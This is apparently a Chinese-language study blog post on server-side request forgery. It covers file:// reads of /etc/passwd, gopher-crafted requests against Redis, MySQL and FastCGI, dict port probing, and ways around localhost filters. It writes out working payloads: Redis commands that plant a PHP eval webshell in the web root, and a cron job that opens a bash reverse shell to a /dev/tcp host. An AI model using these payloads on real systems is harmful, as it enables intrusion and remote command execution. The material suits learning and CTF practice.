初探ssrf

前言

很早就接触了SSRF,但当时只是停留在做题,没有对SSRF进行深入思考,这次记录一下SSRF

SSRF漏洞简介

SSRF漏洞简单来说就是利用服务器去发起请求然后返回内容,利用这个我们可以进行内网资源获取。

从先知上找到的一张图(如下

ssrf.png

可能存在的场景

  • 分享功能
  • 在线翻译
  • 图片加载和下载
  • 转码服务
  • 文章收藏加载
  • api加载远程资源
  • ……..

请求服务器资源的地方都有可能会存在SSRF

利用方式

结合file://协议读取本地文件

这个用的比较熟练也比较,最常见的利用形式就是?url=file://etc/passwd 直接读取本地密码文件

结合gopher协议

关于gopher

gopher常见利用

常见的就是利用gopher去攻击 redis、mysql、php的fastcgi等

一开始接触协议的时候,我很懵,不知道究竟是什么东西,直到看了有关计算机网络的书,才算是有一点点理解。协议是通信规则,并且有自己的格式,通信双方得按照它的规则和格式来。

  • 再此之前,我们需要了解一下 gopher协议

    gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,GopherInternet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。它只支持文本,不支持图像

gopher协议的格式:gopher://ip:port/_TCP/IP数据流 示例如下:

我在自己的VPS上监听端口,然后利用docker容器 去发送数据:

123.png

可以看到成功通信。

利用gopher协议发送 get http请求

需要的格式:

  • url编码
  • 换行用%0d%0a 代替
  • 结束需要加上%0d%0a

测试demo:

curl gopher://ip:80/_GET%20/demo.php%3fceshi=hello%20HTTP/1.1%0d%0aHost:192.168.109.166%0d%0a

其中demo.php内容为:

1
2
<?php
echo 'hello'.$_GET['ceshi'];

可以拿到回显。

利用gopher协议发送 POST http请求

get 传参大致差不多,不过有些区别,POST必须得包含 Content-Type、Content-Length、Host、post的参数数据

gopher打Redis

gopher打redis是比较常见的考点,理解这个需要清楚

  • redis是什么东西
  • C-S模式流量包的概念

对redis最直观的印象,就是它和mysql一样都是数据库,但是它是轻量级的,key-value 类型的数据库。

对于它我没有做很深层次的了解,只是这里为了学习SSRF,顺带了解了一下。

方式一:直接写木马

这里我们是可以利用 redis 客户端,来对根目录写马的,要求是客户端用户的权限能够往web目录里面写东西。

通过设置变量,值为一句话木马,从而写入dump.rdb 文件中,将该文件存在的路径改为web根目录,同时将文件改名为shell.php即可。

需要用到的命令为:

1
2
3
4
set m "\n\n<?php eval($_POST[1]);?>\n"
config set dir /var/www/html
config set dbfilename shell.php
save

我们可以看到web根目录成功写入:

11111.png

然后就是C-S流量包,我们客户端输入命令实质就是发送一个请求流量包,然后服务端对我们的请求流量包进行相应。我们在redis-cli执行的一些命令通过wireshark抓包是可以抓取到流量的。

所以利用gopher打redis的核心就是,伪造流量包,利用gopher协议去发送这个流量包,流量包格式得符合gopher 的格式。

然后非授权打redis,就是不需要密码直接可以访问redis客户端,没有对身份进行验证。

方式二:反弹shell

这个方式在debian、ubuntu环境下不可行,但是在Centos下可行。

本质上和写Webshell差不多,这里就是把反弹shell命令写入了定时任务中。具体的Redis命令:

1
2
3
4
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n'   //ip和port为接受的vps
config set dir /var/spool/cron
config set dbfilename root
save

接下来就是伪造流量包,github上有一个工具:https://github.com/tarunkant/Gopherus.git 直接 git clone 下载,帮我们将流量包已写好并编码,十分方便。

gopher打Mysql

这里的思想和gopher攻击redis是一致的,也是想办法去伪造流量包。(按照mysql通信协议和格式)这里我们也可以直接用gopherus工具生成。当然这里也是对mysql客户端的权限有要求,如果是对web目录去写一句话,需要有写权限。(未授权就是不需要密码直接登录)

gopher打fastcgi

利用条件:

  • libcurl版本>=7.45.0
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个已存在php文件的绝对路径

主要是利用php-fpm,这里是也是伪造流量包,按照 fastcgi通信协议的格式,最后在转换成gopher格式,编码。可以造成任意命令执行。

也可以利用gopherus这个工具进行伪造。

以上三者都是按照通信协议和格式(比如Redis是按照RESP协议通信)来伪造流量包,然后按照gopher协议的格式转换一下,最后打过去。

dict协议

字典协议,我们可以利用它来进行端口探测。

协议格式:

1
dict://serverip:port/命令:参数

与gopher有一个区别是,它是一条一条命令执行,而gopher可以多条命令执行。

绕过手法

一般可能会存在着过滤,对目标url进行一定限制。我们可以想办法突破限制

  • 进制转换,限制了ip,我们可以用8进制,2进制,16进制,10进制进行转换 网址https://tool.520101.com/wangluo/jinzhizhuanhuan/

  • 突破127.0.0.1

    1
    2
    3
    4
    5
    6
    7
    8
    127.0.1 
    127.1
    127.127.127.127
    0
    0.0.0.0
    127.0.0.1.xip.io/
    http://[::]未复现成功。。

  • 302跳转 – 我们在自己的vps上构造一个php文件 (相当于一个中间人,跳转绕过

    1
    <?php header("Location:http://127.0.0.1/flag.php"); ?>
  • DNS-Rebinding (

  • 使用句号代替点(比如127。0。0。1)

  • 利用DNS解析(在域名上是设置A记录,指向127.0.0.1)

  • php对url解析问题

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <?php 
    $url="http://xxx@127.0.0.1/flag.php?.myangs";
    var_dump(parse_url($url));
    //返回结果
    array(5)
    {
    ["scheme"]=>
    string(4) "http"
    ["host"]=>
    string(9) "127.0.0.1"
    ["user"]=>
    string(3) "xxx"
    ["path"]=>
    string(9) "/flag.php"
    ["query"]=>
    string(7) ".myangs"
    }
  • ……

小结

一开始觉得用一篇文章去描述整个SSRF,现在发现还是得分开细说,糅杂在一篇文章上可能没耐心看233333(

参考文章

https://bbs.ichunqiu.com/thread-58455-1-1.html

https://xz.aliyun.com/t/6993#toc-0

https://r1dd1er.top/2019/11/02/SSRF%E4%B8%8ERedis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE/

https://www.cnblogs.com/Konmu/p/12984891.html

https://blog.csdn.net/qq_41107295/article/details/103026470